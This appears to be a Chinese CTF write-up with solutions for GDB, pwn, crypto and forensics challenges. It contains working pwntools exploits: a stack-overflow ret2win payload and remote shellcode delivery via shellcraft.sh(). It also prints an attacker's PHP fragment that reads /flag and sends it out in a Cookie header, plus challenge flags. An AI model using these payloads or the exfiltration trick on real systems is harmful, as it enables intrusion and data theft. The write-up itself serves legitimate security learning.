进制数字捏,例如0 x114之类的数字: 0 x41c4d520553a142e向导: 正解! 下一关咯 --- 关卡 2 : 义眼丁真 --- 向导: 这次是内存捏, 我留了一句话在某个地方捏. 偷偷告诉你这个地方在哪里QwQ -> 0 x555555557c27 猜猜我要对你说什么。找到了就按下c(continue)来告诉我答案吧! Program received signal SIGTRAP, Trace/breakpoint trap. 0 x00005555555556a3 in stage_1_memory_check ()(gdb) x/s 0 x555555557c27 0 x555555557c27: "GDB_IS_POWERFUL"(gdb) c Continuing. 向导: 你找到了吗QwQ,告诉我你找到了什么: GDB_IS_POWERFUL 向导: 正解! 下一关!. --- 关卡 3 : 犹豫丁真 --- 向导: 啊,程序中有个函数跑得太快了,他的身上有最后一关的钥匙!我们要抓住他,用GDB让他停下来! 如果没能抓住他的话,我们就没办法继续往前走了. 让他停下来拿到钥匙之后,按下一次c把钥匙拿过来,然后再次按下c继续我们的旅程吧. 注意需要慢慢来,不要按得这么快哦 偷偷告诉你这个函数在 -> 0 x555555555779 Program received signal SIGTRAP, Trace/breakpoint trap. 0 x0000555555555813 in stage_2_breakpoint_check ()(gdb) b *0 x555555555779 Breakpoint 1 at 0 x555555555779 (gdb) c Continuing. Breakpoint 1 , 0 x0000555555555779 in function_to_break_on () (gdb) c Continuing. 向导: 他停下来了! 在这个函数身上找到了最后一关的钥匙. 接下来是最后一关了哦. --- 关卡 4 : 应用丁真 --- 来到最后一关了,由于环境影响,已经听不清楚向导说的话了。 向导: 我们的 '(&*(……¥*&¥#!¥&……*&*&! @¥#' 现在只有 1 个.....但是要过关的话一共需要 0 xdeadbeef 个 你知道葫芦侠的传说吗,好在GDB有一个强大的功能,他可以*&¥&@34 #! 改. 地$^&!$址 -> 0 x7fffffffd9b4 …*& Program received signal SIGTRAP, Trace/breakpoint trap. 0 x000055555555598c in stage_3_state_modification ()(gdb) set {int}0 x7fffffffd9b4 = 0 xdeadbeef (gdb) c Continuing. 向导离开了队伍。. [*] Initializing security protocols... [+] 世界上即将增加一个PWN高手了捏 [+] FLAG : flag{175 e6046-5260 -47 a3-8 ed1-e6265c6791d2} [Inferior 1 (process 9104 ) exited normally]
FLAG 1 flag{175e6046-5260-47a3-8ed1-e6265c6791d2}
overflow Challenge
咦?程序好像有后门,但是执行不到怎么办呢
【难度:中等】
Solution
main
函数 : 程序入口点,依次调用 init
show
try
try
函数 : 漏洞利用的核心
1 2 3 4 5 6 7 8 void __cdecl try () { char buffer[256 ]; memset (buffer, 0 , sizeof (buffer)); puts ("Now,Try to exploit it as I done and get the shell!" ); puts ("Enter your input:" ); gets(buffer); }
该函数使用 gets
读取用户输入,gets
不对输入长度进行检查,因此当输入超过 256 字节时,就会覆盖栈上 buffer
相邻的高地址数据,包括保存的 RBP
寄存器值和函数返回地址。
backd00r
函数 : 攻击目标
1 2 3 4 5 6 void __cdecl backd00r () { puts ("Congratulations! You have found the backdoor!" ); puts ("You can now execute any command you want." ); system("/bin/sh" ); }
该函数提供一个 shell,但程序正常流程中并未调用它,目标就是通过栈溢出劫持程序执行流然后使其跳转到这个函数。
确定偏移量 : 在 x86-64 架构下,try
函数的栈帧布局大致如下:
1 2 3 4 高地址 -> [返回地址 (8字节)] [保存的 RBP (8字节)] [char buffer[256]] <- gets 写入的起始位置 低地址 -> ...
要覆盖返回地址我们需要填充 buffer
的 256 字节,再加上保存的 RBP
的 8 字节,因此覆盖返回地址的偏移量为 256 + 8 = 264
字节。
解决栈对齐问题 : 在 x86-64 Linux ABI 中调用 system
等函数时要求栈指针(RSP)必须是 16 字节对齐的。当 main
call
try
时,栈已经是不对齐的(16n - 8
)。如果我们直接 ret
到 backd00r
,栈依然是不对齐的,会导致 system
调用失败。 为了解决这个问题,我们在跳转到 backd00r
之前先跳转到一个 ret
指令,这个 ret
指令会从栈上弹出一个地址(即 backd00r
地址),使 RSP 增加 8 字节,从而将栈恢复到 16 字节对齐的状态。
构建 Payload : 最终的 payload 结构如下:[填充数据 (264字节)] + [ret Gadget 地址] + [backd00r 函数地址]
在开始编写脚本前还需要确定 ret
gadget 和 backd00r
函数的精确地址
检查保护机制 :
1 2 3 4 5 6 7 8 9 10 11 12 ┌──(kali㉿kali)-[~/Desktop] └─$ checksec ./overflow [*] '/home/kali/Desktop/overflow' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No Debuginfo: Yes
关键信息是 No PIE
,这意味着程序的内存地址是固定的,我们可以直接使用静态分析得到的地址。
使用 pwntools 自动查找 : 我们可以利用 pwntools
库方便地从 ELF 文件中提取所需地址。
backd00r
地址 : elf.symbols['backd00r']
ret
Gadget 地址 : ROP(elf).find_gadget(['ret']).address
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *context.binary = elf = ELF('./overflow' ) context.log_level = 'info' HOST = '8.147.132.32' PORT = 25071 rop = ROP(elf) RET_GADGET = rop.find_gadget(['ret' ]).address BACKDOOR_ADDR = elf.symbols['backd00r' ] OFFSET = 256 + 8 log.info(f"Using ret gadget at: {hex (RET_GADGET)} " ) log.info(f"Jumping to backd00r at: {hex (BACKDOOR_ADDR)} " ) log.info(f"Calculated offset: {OFFSET} " ) io = remote(HOST, PORT) payload = flat([ b'A' * OFFSET, p64(RET_GADGET), p64(BACKDOOR_ADDR) ]) io.recvuntil(b'Enter your input:\n' ) io.sendline(payload) log.success("Payload sent successfully!" ) io.interactive()
FLAG 1 flag{2a7429ab-6c6c-4db1-b8bd-8ed029f9c1fa}
Challenge
什么?要输入一个函数?
【难度:困难】
Solution 先看主函数
1 2 3 4 5 6 7 8 9 10 11 int __fastcall main (int argc, const char **argv, const char **envp) { void *buf; init(argc, argv, envp); buf = mmap((void *)0x114514 , 0x1000u , 7 , 34 , -1 , 0 ); puts ("please input a function(after compile)" ); read(0 , buf, 0x500u ); ((void (*)(void ))buf)(); return 0 ; }
mmap
:程序使用 mmap
系统调用来分配一块内存
addr
: (void *)0x114514
,这是一个固定的地址 ,这意味着无论程序怎么运行,这块内存总是在 0x114514
这个位置。
prot
: 7
。在 Linux 中,内存保护标志是位掩码:PROT_READ
(4) | PROT_WRITE
(2) | PROT_EXEC
(1)。4 + 2 + 1 = 7
,所以这块内存的权限是 可读、可写、可执行 (RWX) 。
read
:程序从标准输入读取最多 0x500
字节的数据,并直接存放到刚刚 mmap
出来的 buf
内存区域中。
((void (*)(void))buf)()
:程序将 buf
的地址强制转换为一个函数指针,然后直接调用(跳转到)它。
结论 :这个程序给了我们一块固定地址、权限为 RWX 的内存 ,并且允许我们向其中写入任意代码,然后直接跳转过去执行,因此我们只需要提供一段 shellcode 就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context.update(arch='amd64' , os='linux' ) HOST = '8.147.132.32' PORT = 18280 shellcode = asm(shellcraft.sh()) io = remote(HOST, PORT) io.recvuntil(b'please input a function(after compile)\n' ) io.send(shellcode) log.success("Shellcode sent!" ) io.interactive()
FLAG 1 flag{fd4083c1-c401-4a1c-845e-01af917f7f21}
Crypto 唯一表示 Challenge
不要把鸡蛋放在同一个篮子里
【难度:中等】
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from sympy.ntheory.modular import crtfrom Crypto.Util.number import bytes_to_longfrom sympy import primerangeimport uuidprimes = list (primerange(2 , 114514 )) flag = "flag{" + str (uuid.uuid4()) + "}" message_int = bytes_to_long(flag.encode()) def fun (n: int ): """ 给定整数 n,返回它对若干个素数模的余数列表, 直到用这些余数和模数 CRT 重建出的值恰好等于 n。 """ used_primes = [2 ] prime_index = 1 while True : remainders = [n % p for p in used_primes] reconstructed, _ = crt(used_primes, remainders) if reconstructed == n: return remainders used_primes.append(primes[prime_index]) prime_index += 1 c = fun(message_int) print (c)""" [1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155] """
Solution
生成素数 :脚本首先生成了一个从 2 到 114514 之间的所有素数的列表,这个列表是固定的
转换 Flag :脚本生成一个随机的 flag,并使用 bytes_to_long
将其转换为一个非常大的整数 message_int
核心函数 fun
:
接收整数 n
(也就是 message_int
)。
从一个仅包含素数 [2]
的模数列表 used_primes
开始
进入一个循环,不断地从主素数列表 primes
中添加新的素数到 used_primes
里
在每次循环中计算 n
对当前 used_primes
列表里所有素数的余数
使用中国剩余定理(CRT),根据当前的模数(used_primes
)和余数(remainders
)重构一个数
当重构出的数 reconstructed
恰好等于原始的 n
时循环终止并返回当前的余数列表
中国剩余定理(CRT)的核心在于,对于一组互质的模数 M = p1 * p2 * ... * pk
,它能找到一个在模 M
意义下唯一的解,sympy.crt
函数返回的是满足条件的最小非负整数解
reconstructed == n
这个条件只有在 n
小于所有模数的乘积 M
时才会成立,如果 n
大于或等于 M
,那么 CRT 返回的结果将是 n % M
,这显然不等于 n
因此 fun
函数的循环本质上是在寻找一个最小的初始素数集合使得这些素数的乘积刚好大于 message_int
解题步骤如下:
脚本的输出 c
是最终的余数列表,这个列表的长度 len(c)
告诉我们脚本总共使用了多少个素数,重新生成和原脚本一模一样的素数列表
用于最后一次 CRT 计算的模数(moduli
)就是我们生成的素数列表中的前 len(c)
个素数
现在已知模数 (前 len(c)
个素数)和余数 (列表 c
),我们可以再次使用 CRT 来精确地解出原始的 message_int
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from sympy.ntheory.modular import crtfrom Crypto.Util.number import long_to_bytesfrom sympy import primerangec = [1 , 2 , 2 , 4 , 0 , 2 , 11 , 11 , 8 , 23 , 1 , 30 , 35 , 0 , 18 , 30 , 55 , 60 , 29 , 42 , 8 , 13 , 49 , 11 , 69 , 26 , 8 , 73 , 84 , 67 , 100 , 9 , 77 , 72 , 127 , 49 , 57 , 74 , 70 , 129 , 146 , 45 , 35 , 180 , 196 , 101 , 100 , 146 , 100 , 194 , 2 , 161 , 35 , 155 ] all_primes = list (primerange(2 , 114514 )) num_primes_used = len (c) print (f"使用的素数数量: {num_primes_used} " )moduli = all_primes[:num_primes_used] message_int, _ = crt(moduli, c) print (f"重构出的整数: {message_int} " )flag_bytes = long_to_bytes(message_int) flag = flag_bytes.decode() print (flag)
1 2 3 使用的素数数量: 54 重构出的整数: 56006392793407635010269894324071027836182028746326229271331328895596420941873678122985250345057530237 flag{9c8589c2-aecb-4ec4-b027-654bc322e2d1}
FLAG 1 flag{9c8589c2-aecb-4ec4-b027-654bc322e2d1}
小跳蛙 Challenge
青蛙会跳到哪里去呢?
【难度:中等】
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 banner = """ Welcome to Cathylin's cryptography learning platform, where we learn an algorithm through an interesting problem. There is a frog on the grid point (a, b). When a > b, it will jump to (a-b, b); when a < b, it will jump to (a, b-a); and when a = b, it will stay where it is. Next, I will provide five sets of (a, b), and please submit the final position (x, y) of the frog in sequence If you succeed, I will give you a mysterious flag. """ print (banner)import reimport randomfrom secret import flagcnt = 0 while cnt < 5 : a = random.randint(1 , 10 **(cnt+1 )) b = random.randint(1 , 10 **(cnt+1 )) print ( str (cnt+1 ) + ".(a,b) is: (" + str (a) + "," + str (b) + ")" ) user_input = input ("Please input the final position of the frog (x,y) :" ) pattern = r'[()]?(\d+)[,\s]+(\d+)[)]?' match = re.match (pattern, user_input.strip()) if match : x, y = map (int , match .groups()) else : print ("Unable to parse the input. Please check the format and re-enter" ) continue original_a, original_b = a, b while a != b: if a > b: a = a - b else : b = b - a if x == a and y == b: print ("Congratulations, you answered correctly! Keep going for " + str (4 -cnt) + " more times and you will get the mysterious flag!" ) cnt += 1 else : print ("Unfortunately, you answered incorrectly. The correct answer is({}, {}). Please start learning again" .format (a, b)) break if cnt == 5 : print ("Congratulations, you answered all the questions correctly!" ) print ("Mysterious Flag:" + flag)
Solution 连接到服务器后会收到一段欢迎信息,其中描述了游戏规则:
一只青蛙在格点 (a, b)
上。
当 a > b
,它会跳到 (a-b, b)
当 a < b
,它会跳到 (a, b-a)
当 a = b
,它会停留在原地
服务器会连续给出 5 组不同的 (a, b)
,我们需要计算出青蛙最终停留的位置 (x, y)
并提交
这个规则正是计算最大公约数的经典算法:欧几里得算法(辗转相减法)
也就是说:对于任意给定的 (a, b)
,青蛙最终停留的位置 (x, y)
就是 (gcd(a, b), gcd(a, b))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *import reimport mathcontext.log_level = 'info' HOST = '8.147.132.32' PORT = 37713 p = remote(HOST, PORT) for i in range (5 ): p.recvuntil(b'is: (' ) coords_bytes = p.recvuntil(b')' , drop=True ) coords_str = coords_bytes.decode() log.info(f"第 {i+1 } 轮: 收到坐标字符串: '{coords_str} '" ) match = re.search(r'(\d+),\s*(\d+)' , coords_str) if not match : log.error("解析坐标失败" ) p.close() exit(1 ) a = int (match .group(1 )) b = int (match .group(2 )) log.info(f"解析出 (a, b) = ({a} , {b} )" ) result_gcd = math.gcd(a, b) log.success(f"计算出 GCD = {result_gcd} " ) answer = f"({result_gcd} , {result_gcd} )" p.sendline(answer.encode()) log.info(f"已发送答案: {answer} " ) p.recvuntil(b"Mysterious Flag:" ) flag = p.recvline().strip().decode() log.success(flag) p.close()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [*] 第 1 轮: 收到坐标字符串: '5,9' [*] 解析出 (a, b) = (5, 9) [+] 计算出 GCD = 1 [*] 已发送答案: (1, 1) [*] 第 2 轮: 收到坐标字符串: '24,12' [*] 解析出 (a, b) = (24, 12) [+] 计算出 GCD = 12 [*] 已发送答案: (12, 12) [*] 第 3 轮: 收到坐标字符串: '733,317' [*] 解析出 (a, b) = (733, 317) [+] 计算出 GCD = 1 [*] 已发送答案: (1, 1) [*] 第 4 轮: 收到坐标字符串: '3094,9104' [*] 解析出 (a, b) = (3094, 9104) [+] 计算出 GCD = 2 [*] 已发送答案: (2, 2) [*] 第 5 轮: 收到坐标字符串: '38083,37819' [*] 解析出 (a, b) = (38083, 37819) [+] 计算出 GCD = 1 [*] 已发送答案: (1, 1) [+] flag{Go0d_j0b_t0_Cl34r_thi5_Diff3r3nt_t45k_4_u}
FLAG 1 flag{Go0d_j0b_t0_Cl34r_thi5_Diff3r3nt_t45k_4_u}
初识RSA Challenge
好像很标准,又好像不太标准(md5码怎么解呢?好像有在线工具)
【难度:简单】
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from Crypto.Util.number import *import hashlibkey=b'??????' assert len (key)==6 KEY = hashlib.md5(key).hexdigest().encode() print ('KEY=' ,KEY)flag=b'flag{?????????????}' m=bytes_to_long(flag) e=65537 p=getPrime(512 ) q=getPrime(512 ) n=pow (p,3 )* pow (q,2 ) c=pow (m,e,n) P=p^(bytes_to_long(key)) print ("P=" ,P)print ("n=" ,n)print ("c=" ,c)''' KEY = b'5ae9b7f211e23aac3df5f2b8f3b8eada' P= 8950704257708450266553505566662195919814660677796969745141332884563215887576312397012443714881729945084204600427983533462340628158820681332200645787691506 n= 44446616188218819786207128669544260200786245231084315865332960254466674511396013452706960167237712984131574242297631824608996400521594802041774252109118569706894250996931000927100268277762882754652796291883967540656284636140320080424646971672065901724016868601110447608443973020392152580956168514740954659431174557221037876268055284535861917524270777789465109449562493757855709667594266126482042307573551713967456278514060120085808631486752297737122542989222157016105822237703651230721732928806660755347805734140734412060262304703945060273095463889784812104712104670060859740991896998661852639384506489736605859678660859641869193937584995837021541846286340552602342167842171089327681673432201518271389316638905030292484631032669474635442148203414558029464840768382970333 c= 42481263623445394280231262620086584153533063717448365833463226221868120488285951050193025217363839722803025158955005926008972866584222969940058732766011030882489151801438753030989861560817833544742490630377584951708209970467576914455924941590147893518967800282895563353672016111485919944929116082425633214088603366618022110688943219824625736102047862782981661923567377952054731667935736545461204871636455479900964960932386422126739648242748169170002728992333044486415920542098358305720024908051943748019208098026882781236570466259348897847759538822450491169806820787193008018522291685488876743242619977085369161240842263956004215038707275256809199564441801377497312252051117441861760886176100719291068180295195677144938101948329274751595514805340601788344134469750781845 '''
Solution
寻找 key
:在 md5在线解密破解 查询得到 crypto
的 md5 的值为 5ae9b7f211e23aac3df5f2b8f3b8eada
,因此原始的 6 字节 key
就是 b'crypto'
寻找 p
:脚本中有一个非常关键的线索:P = p ^ (bytes_to_long(key))
XOR(异或)运算有一个特性:A ^ B = C
那么 A = C ^ B
我们现在知道了 key
和 P
的值,所以我们可以通过 p = P ^ bytes_to_long(key)
来直接计算出 p
寻找 q
:脚本中定义了RSA模数 n = p^3 * q^2
既然我们已经通过上一步计算出了p
,我们就可以计算p^3
然后我们可以通过 q^2 = n // p^3
来得到q
的平方
最后对q^2
开方就可以得到q
计算欧拉函数 phi(n)
:对于标准的n = p * q
,phi(n) = (p-1)*(q-1)
。但在这里,n = p^3 * q^2
,所以我们需要使用欧拉函数的通用性质:
phi(a*b) = phi(a) * phi(b)
(当a, b互质时)
phi(p^k) = p^k - p^(k-1) = p^(k-1) * (p-1)
因此,phi(n) = phi(p^3 * q^2) = phi(p^3) * phi(q^2)
phi(p^3) = p^2 * (p-1)
phi(q^2) = q * (q-1)
所以,phi(n) = (p^2 * (p-1)) * (q * (q-1))
计算私钥 d
:私钥 d
是公钥 e
关于 phi(n)
的模逆元
d * e ≡ 1 (mod phi(n))
我们可以用 d = pow(e, -1, phi(n))
来计算
解密消息 m
: 有了私钥 d
我们就可以对密文 c
进行解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from Crypto.Util.number import bytes_to_long, long_to_bytesfrom math import isqrtP = ... n = ... c = ... e = 65537 key = b'crypto' print (f"[+] Found key: {key} " )key_long = bytes_to_long(key) p = P ^ key_long print (f"[+] Calculated p successfully." )p_cubed = pow (p, 3 ) assert n % p_cubed == 0 q_squared = n // p_cubed q = isqrt(q_squared) assert pow (q, 2 ) == q_squaredprint (f"[+] Calculated q successfully." )phi_n = (pow (p, 2 ) * (p - 1 )) * (q * (q - 1 )) print (f"[+] Calculated phi(n) successfully." )d = pow (e, -1 , phi_n) print (f"[+] Calculated private key d successfully." )m = pow (c, d, n) print (f"[+] Decrypted message m successfully." )flag = long_to_bytes(m) print (flag.decode())
1 2 3 4 5 6 7 [+] Found key: b'crypto' [+] Calculated p successfully. [+] Calculated q successfully. [+] Calculated phi(n) successfully. [+] Calculated private key d successfully. [+] Decrypted message m successfully. flag{W3lc0me_t0_4h3_w0rl4_0f_Cryptoooo!}
FLAG 1 flag{W3lc0me_t0_4h3_w0rl4_0f_Cryptoooo!}
随机数之旅1 Challenge
真正的大中衔接belike:
【难度:简单】
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import uuidfrom Crypto.Util.number import getPrime, bytes_to_longimport randomflag = "flag{" + str (uuid.uuid4()) + "}" message_int = bytes_to_long(flag.encode()) p = getPrime(message_int.bit_length() + 3 ) a = getPrime(p.bit_length()) print (f"a = {a} " )print (f"p = {p} " )hint_values = [random.randint(1 , p - 1 )] for _ in range (5 ): next_value = (a * hint_values[-1 ] + message_int) % p hint_values.append(next_value) print ("hint =" , hint_values)""" a = 295789025762601408173828135835543120874436321839537374211067344874253837225114998888279895650663245853 p = 516429062949786265253932153679325182722096129240841519231893318711291039781759818315309383807387756431 hint = [184903644789477348923205958932800932778350668414212847594553173870661019334816268921010695722276438808, 289189387531555679675902459817169546843094450548753333994152067745494929208355954578346190342131249104, 511308006207171169525638257022520734897714346965062712839542056097960669854911764257355038593653419751, 166071289874864336172698289575695453201748407996626084705840173384834203981438122602851131719180238215, 147110858646297801442262599376129381380715215676113653296571296956264538908861108990498641428275853815, 414834276462759739846090124494902935141631458647045274550722758670850152829207904420646985446140292244] """
Solution
已知信息 :乘数 a
,模数 p
,一个由 LCG 生成的序列 hint
未知信息 :增量 message_int
(也就是 m
),它代表了 flag
核心公式 :hint[i+1] = (a * hint[i] + message_int) % p
我们的目标是解出 message_int
,由于我们已经知道了 a
和 p
,因此这变成了一个非常简单的代数问题
我们可以从 hint
列表中取出任意两个连续的元素,比如 hint[0]
和 hint[1]
,然后将它们代入核心公式:
hint[1] = (a * hint[0] + message_int) % p
这是一个关于 message_int
的一次同余方程,我们可以直接移项来求解 message_int
:
message_int = (hint[1] - a * hint[0]) % p
计算步骤:
从 hint
列表中取出 hint[0]
和 hint[1]
计算 a * hint[0]
从 hint[1]
中减去上一步的结果
将最终结果对 p
取模,得到 message_int
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from Crypto.Util.number import long_to_bytesa = ... p = ... hint = ... h0 = hint[0 ] h1 = hint[1 ] message_int = (h1 - a * h0) % p print (f"[*] 成功恢复 message_int: m = {message_int} " )flag_bytes = long_to_bytes(message_int) flag = flag_bytes.decode('utf-8' ) print (flag)
1 2 [*] 成功恢复 message_int: m = 56006392793428429658174402239819000060300656649754549632005403493317815055195551066672537705480730237 flag{c3bc3ead-01e3-491b-aa2d-d2f042449fd6}
FLAG 1 flag{c3bc3ead-01e3-491b-aa2d-d2f042449fd6}
Sagemath使用指哪? Challenge
使用Sagemath运行程序以获得flag
【难度:简单】
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 key=1 G = PSL(2 , 11 ) key*=G.order() G = CyclicPermutationGroup(11 ) key*=G.order() G = AlternatingGroup(114 ) key*=G.order() G = PSL(4 , 7 ) key*=G.order() G = PSU(3 , 4 ) key*=G.order() G = MathieuGroup(12 ) key*=G.order() c=91550542840025722520458836108112308924742424464072171170891749838108012046397534151231852770095499011 key=(int (str (bin (key))[2 :][0 :42 *8 ],2 )) m=c^^key f=[] while m>0 : x=m%256 f.append(chr (x)) m//=256 f.reverse() flag="" .join(i for i in f ) print (flag)
Solution 直接用 sage 运行就行
1 2 3 (sage) ┌──(kali㉿kali)-[~/Desktop] └─$ sage sagematch.sage flag{e142d08c-7 e7d-43 ed-b5ad-af51ffc512ee}
FLAG 1 flag{e142d08c-7e7d-43ed-b5ad-af51ffc512ee}
Week 2 Misc 星期四的狂想 Challenge
怎么又是星期四,一到星期四群里就出现了各种稀奇古怪的星期四文案。最近 null 的服务器被人植入了星期四文案,让 null 甚是苦恼。好在他把流量截取下来了,你来帮他看看吧。
【难度:困难】
Solution 攻击链条分析:
文件准备: 攻击者先后上传了 chickenvivo50.php (函数库), crazy.php (读取、混淆flag), index.php (攻击入口和触发器)。
触发攻击 (Frame 519): 攻击者向 /uploads/?cmd=ThURSDAY
发起了一个 POST 请求。
URL参数:cmd=ThURSDAY
POST内容:file=crazy.php
后门执行逻辑:
服务器执行 index.php
index.php
包含了 chickenvivo50.php
index.php
通过 require_once($_POST["file"])
包含了 crazy.php
crazy.php
执行后读取服务器根目录下的 /flag
文件,对其内容进行混淆(随机反转或ROT13加密),然后存入一个全局变量 $GLOBALS['ThURSDAY']
index.php
接着执行 code($_GLOBALS[$_GET['cmd']])
,即 code($GLOBALS['ThURSDAY'])
code()
函数将混淆后的 flag 进行 Base64 编码,并构造成一个 HTTP Cookie 头
最后 getFunction("vivo")
(映射到 header 函数) 将这个构造好的 Cookie 头发送出去
数据窃取 (Frame 521): 服务器返回的响应中包含了一个关键的HTTP头 Cookie: token=R2FYdDNaaHhtWlMwS21TR0szRVZxSUF4QVV5c0hLVzlWZXN0MllwVmdDOUJUTlBaVlM9PQ==
,这串Base64编码的字符串 R2FYdDNaaHhtWlMwS21TR0szRVZxSUF4QVV5c0hLVzlWZXN0MllwVmdDOUJUTlBaVlM9PQ==
就是被盗走的数据
分析攻击者上传的 crazy.php 文件(例如在 Frame 224 或 Frame 451 中)的核心混淆逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $flag = base64_encode (file_get_contents ("/flag" ));$hahahahahaha = '' ;foreach (str_split ($flag , 10 ) as $part ) { if (rand (0 , 1 )) { $part = strrev ($part ); } else { $part = str_rot13 ($part ); } $hahahahahaha .= $part ; }
对 Cookie 中的 token 值 R2FYdDNaaHhtWlMwS21TR0szRVZxSUF4QVV5c0hLVzlWZXN0MllwVmdDOUJUTlBaVlM9PQ==
进行 Base64解码得到:GaXt3ZhxmZS0KmSGK3EVqIAxAUysHKW9Vest2YpVgC9BTNPZVS==
脚本爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 import base64import refrom itertools import productdef rot13 (s: str ) -> str : """ 对字符串进行ROT13操作 """ result = "" for char in s: if 'a' <= char <= 'z' : result += chr ((ord (char) - ord ('a' ) + 13 ) % 26 + ord ('a' )) elif 'A' <= char <= 'Z' : result += chr ((ord (char) - ord ('A' ) + 13 ) % 26 + ord ('A' )) else : result += char return result def is_valid_base64_chunk (s: str ) -> bool : """ 检查字符串块是否只包含有效的Base64内容字符 (A-Z, a-z, 0-9, +, /) """ return re.match (r'^[A-Za-z0-9+/]*$' , s) is not None encoded_str = "GaXt3ZhxmZS0KmSGK3EVqIAxAUysHKW9Vest2YpVgC9BTNPZVS==" chunks = [encoded_str[i:i+10 ] for i in range (0 , len (encoded_str), 10 )] print (f"[*] Input string split into {len (chunks)} chunks:" )print (chunks)print ("-" * 30 )all_possibilities = [] for i, chunk in enumerate (chunks): if "=" in chunk: all_possibilities.append([chunk]) continue chunk_possibilities = [] rev_strrev = chunk[::-1 ] if is_valid_base64_chunk(rev_strrev): chunk_possibilities.append(rev_strrev) rev_rot13 = rot13(chunk) if is_valid_base64_chunk(rev_rot13): chunk_possibilities.append(rev_rot13) print (f"[*] Chunk {i+1 } : '{chunk} ' -> Found {len (chunk_possibilities)} possible reversals: {chunk_possibilities} " ) all_possibilities.append(chunk_possibilities) print ("-" * 30 )found_flags = [] total_combinations = len (list (product(*all_possibilities))) print (f"[*] Total combinations to test: {total_combinations} " )for combination in product(*all_possibilities): candidate_b64 = "" .join(combination) try : decoded_bytes = base64.b64decode(candidate_b64) decoded_text = decoded_bytes.decode('utf-8' ) if decoded_text.startswith('flag{' ): print (f"[+] SUCCESS: Found potential flag!" ) print (f" - Reassembled B64: {candidate_b64} " ) print (f" - Decoded Flag: {decoded_text} " ) found_flags.append(decoded_text) except (UnicodeDecodeError): pass if not found_flags: print ("[-] FAILED: No combination resulted in a valid flag format." )
FLAG 1 flag{What_1S_tHuSd4y_Quickly_VIVO50}
MISC城邦-NewKeyboard Challenge
欢迎挑战者们来到第二周的Misc考核,本关由手持keyboard的侍卫看守能量核心,请挑战者们通过分析侍卫发出的流量获取最终的flag吧!
【难度:中等】
Solution 我们得到两个.pcapng
流量包文件:
abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapng
:文件名本身告诉了我们流量中按键的顺序,我们可以用它来建立 USB 数据和实际字符之间的映射关系
newkeyboard.pcapng
:这是目标文件,里面包含了未知的键盘输入
显然本题的任务是利用 abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapng
建立映射表,然后根据此提取出 newkeyboard.pcapng
的输入
用 tshark 从两个 pcapng 文件中提取出 usbhid.data
字段的内容:
1 2 tshark -r abcdefghijklmnopqrstuvwxyz1234567890-_!{}.pcapng -Y "usbhid.data" -T fields -e usbhid.data > raw_keymap_data.txt tshark -r newkeyboard.pcapng -Y "usbhid.data" -T fields -e usbhid.data > raw_target_data.txt
打开 raw_keymap_data.txt
进行分析,这些数据是没有分隔符的长字符串:
1 2 3 4 5 6 7 0100100000000000... // 'a' 按下 0100000000000000... // 按键释放 0100200000000000... // 'b' 按下 0100000000000000... // 按键释放 ... 0102000000000020... // '_' (Shift + -) 按下 ...
通过观察,我们可以得出结论:
数据是成对出现的“按下”和“释放”
“释放”事件的数据固定为 0100000000000000...
按键信息似乎是一种位掩码 ,存储在数据的特定位置
带有 Shift
的按键,其数据前缀会从 0100
变为 0102
深入分析 raw_keymap_data.txt
后发现在输入需要按 Shift
的特殊字符时会产生一些额外的中间状态数据包,例如:
按下 Shift
和 -
(产生 _
的数据)
释放 -
时 Shift
键可能还按着,产生了一个只有 Shift
状态的数据包
释放 Shift
手动清洗数据(只保留按下的,把释放按键的给删了,把脏数据给清除了)得到:
